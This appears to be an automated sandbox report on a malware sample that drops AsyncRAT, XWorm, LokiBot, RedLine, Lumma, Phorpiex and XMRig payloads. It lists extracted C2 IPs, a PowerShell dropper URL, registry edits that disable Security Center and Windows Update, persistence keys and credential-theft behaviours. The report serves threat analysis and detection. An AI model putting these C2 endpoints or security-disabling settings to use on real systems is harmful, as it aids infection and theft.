asyncrat | e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1

max time kernel
484s
max time network
487s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-11-2024 18:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4363463463464363463463463.exe.zip
Size

4KB
MD5

16d34133af438a73419a49de605576d9
SHA1

c3dbcd70359fdad8835091c714a7a275c59bd732
SHA256

e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1
SHA512

59c0272d6faa2682b7a6ce1cd414d53cc39f06035f4f38a2e206965805034bf8012b02d59f428973965136d70c89f87ac3b17b5db9c1b1d49844be182b47a3d7
SSDEEP

96:xBf1inGx9SfZ+VCv3wlTDMQ1kyKXyyJNOBIKkNvL5qK+7zHf6MlYOQVPGmcEy:xBfwncSf8Cv3w9DZjKXjmBIKEvLs97D5

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://osecweb.ir/js/config_20.ps1

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

100 RND

91.92.243.191:5401

Mutex

6871a79e-e4f7-4fb3-ae38-dc20c1d657a0

Attributes

delay
1
install
true
install_file
hyperhostvc.exe
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

https://pastebin.com/raw/LWUHVqrD:48602480

Attributes

install_file
USB.exe
pastebin_url
https://pastebin.com/raw/LWUHVqrD

Extracted

Family

lokibot

http://bauxx.xyz/mtk1/w2/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Extracted

Family

redline

Botnet

816FA

88.99.151.68:7200

Extracted

Family

lumma

https://c0al1t1onmatch.cyou/api

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2968-865-0x0000000000E30000-0x0000000000E44000-memory.dmp	family_xworm

Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot
Lokibot family
lokibot
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Modifies security service 2 TTPs 3 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysvplervcs.exe

Phorphiex family
phorphiex

Phorphiex payload 4 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023d3e-464.dat	family_phorphiex
behavioral2/files/0x000b000000022e90-1189.dat	family_phorphiex
behavioral2/files/0x0005000000023188-1324.dat	family_phorphiex
behavioral2/files/0x000400000002319d-1532.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/4520-3063-0x0000000000E10000-0x0000000000E62000-memory.dmp	family_redline

Redline family
redline

Suspicious use of NtCreateUserProcessOtherParentProcess 16 IoCs

description	pid	Process	procid_target
PID 4528 created 3388	4528	nxmr.exe	55
PID 4528 created 3388	4528	nxmr.exe	55
PID 5092 created 3388	5092	winupsecvmgr.exe	55
PID 5092 created 3388	5092	winupsecvmgr.exe	55
PID 5092 created 3388	5092	winupsecvmgr.exe	55
PID 1316 created 3388	1316	1795410674.exe	55
PID 1316 created 3388	1316	1795410674.exe	55
PID 1848 created 3388	1848	winupsecvmgr.exe	55
PID 412 created 3388	412	PURLOG.exe	55
PID 412 created 3388	412	PURLOG.exe	55
PID 412 created 3388	412	PURLOG.exe	55
PID 412 created 3388	412	PURLOG.exe	55
PID 412 created 3388	412	PURLOG.exe	55
PID 412 created 3388	412	PURLOG.exe	55
PID 412 created 3388	412	PURLOG.exe	55
PID 412 created 3388	412	PURLOG.exe	55

Windows security bypass 2 TTPs 18 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe

Xmrig family
xmrig
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0003000000000743-14.dat	family_asyncrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral2/memory/5092-641-0x00007FF7A7530000-0x00007FF7A7AC7000-memory.dmp	xmrig
behavioral2/memory/4408-670-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-697-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-699-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-712-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-723-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-734-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-745-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-870-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-895-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-966-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-1000-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig
behavioral2/memory/4408-1061-0x00007FF768060000-0x00007FF76884F000-memory.dmp	xmrig

Blocklisted process makes network request 3 IoCs

flow	pid	Process
399	1004	powershell.exe
401	4884	curl.exe
409	1004	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4912	powershell.exe
5024	powershell.exe
1004	powershell.exe
4660	powershell.exe
3836	powershell.exe
4968	powershell.exe
4912	powershell.exe
1508	powershell.exe

Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x0007000000023da7-2416.dat	net_reactor
behavioral2/memory/5600-2764-0x0000000000900000-0x000000000094E000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe

Checks computer location settings 2 TTPs 15 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	client.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	4363463463464363463463463.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	1785523095.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	file.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	sysklnorbcv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	BattleGermany.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	build_2024-07-24_23-16.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	4363463463464363463463463.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	sysppvrdnvs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	sysvplervcs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	180678745.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	2375828698.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	gawdth.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	2583932524.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	clamer.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	creal.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	creal.exe

Executes dropped EXE 64 IoCs

pid	Process
984	4363463463464363463463463.exe
2360	client.exe
2652	hyperhostvc.exe
4528	nxmr.exe
1820	tpeinf.exe
3340	twztl.exe
956	sysppvrdnvs.exe
5092	winupsecvmgr.exe
2680	4363463463464363463463463.exe
4372	creal.exe
4392	creal.exe
2968	XClient.exe
2360	script.exe
4172	Identifications.exe
628	cluton.exe
3528	cluton.exe
876	gawdth.exe
2996	2583932524.exe
1764	clamer.exe
216	lofsawd.exe
3476	t2.exe
392	sysklnorbcv.exe
2852	509925116.exe
3580	2542917144.exe
312	100218613.exe
3396	jdkashk.exe
3088	pei.exe
3032	service.exe
1316	1795410674.exe
4836	180626779.exe
4672	sysnldcvmr.exe
1848	winupsecvmgr.exe
4284	installer.exe
3716	qmrmgva.exe
2072	XwormLoader.exe
5044	ps.exe
5072	random.exe
2816	crypted2.exe
1708	a.exe
2524	s.exe
2848	crypted2.exe
2856	nova.exe
4376	tdrpload.exe
4284	sysvplervcs.exe
1616	meta.exe
1508	creal.exe
4532	creal.exe
4068	BattleGermany.exe
3400	1785523095.exe
2348	file.exe
3916	Community.pif
1576	180678745.exe
4476	796714666.exe
4544	2375828698.exe
412	PURLOG.exe
2052	build_2024-07-24_23-16.exe
3488	527332933.exe
5600	GOLD.exe
5932	Documents.exe
5436	199336850.exe
5456	2058428125.exe
5696	966928739.exe
5996	297862349.exe
5656	2410118216.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	random.exe

Loads dropped DLL 64 IoCs

pid	Process
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
4392	creal.exe
628	cluton.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe
4532	creal.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 21 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	cluton.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	cluton.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	cluton.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemHandler = "C:\\Users\\Admin\\Desktop\\Files\\nova.exe"	nova.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemHandler = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\svcapp.exe"	nova.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysvplervcs.exe"	a.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysppvrdnvs.exe"	tpeinf.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysklnorbcv.exe"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysnldcvmr.exe"	180626779.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
140	raw.githubusercontent.com
141	raw.githubusercontent.com
152	pastebin.com
153	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
374	api.ipify.org
148	api.ipify.org
149	api.ipify.org
373	api.ipify.org

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
540	tasklist.exe
3168	tasklist.exe
3396	tasklist.exe
3636	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
5072	random.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 5092 set thread context of 2500	5092	winupsecvmgr.exe	168
PID 5092 set thread context of 4408	5092	winupsecvmgr.exe	169
PID 628 set thread context of 3528	628	cluton.exe	226
PID 2816 set thread context of 2848	2816	crypted2.exe	296
PID 1616 set thread context of 4640	1616	meta.exe	319
PID 412 set thread context of 6036	412	PURLOG.exe	437

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Crashpad\metadata	setup.exe
File opened for modification	C:\Program Files\Crashpad\settings.dat	setup.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\sysppvrdnvs.exe	tpeinf.exe
File created	C:\Windows\Tasks\Test Task17.job	lofsawd.exe
File opened for modification	C:\Windows\sysklnorbcv.exe	t2.exe
File opened for modification	C:\Windows\sysnldcvmr.exe	180626779.exe
File opened for modification	C:\Windows\sysvplervcs.exe	a.exe
File opened for modification	C:\Windows\sysppvrdnvs.exe	tpeinf.exe
File created	C:\Windows\sysklnorbcv.exe	t2.exe
File created	C:\Windows\sysnldcvmr.exe	180626779.exe
File created	C:\Windows\sysvplervcs.exe	a.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4908	sc.exe
2704	sc.exe
1172	sc.exe
4408	sc.exe
4868	sc.exe
1504	sc.exe
2868	sc.exe
624	sc.exe
3340	sc.exe
2584	sc.exe
1308	sc.exe
3400	sc.exe
3820	sc.exe
3040	sc.exe
4412	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 3 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x0008000000023d40-642.dat	pyinstaller
behavioral2/files/0x0008000000023d40-746.dat	pyinstaller
behavioral2/files/0x0008000000023d40-748.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2960	2816	WerFault.exe	291
4748	5600	WerFault.exe	413
1828	2052	WerFault.exe	411

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	t2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	509925116.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2542917144.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pei.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nova.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	s.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lofsawd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysppvrdnvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cluton.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2058428125.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	966928739.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	180626779.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ps.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XwormLoader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	796714666.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	273046266.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cluton.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysklnorbcv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qmrmgva.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	100218613.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tdrpload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	script.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	build_2024-07-24_23-16.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
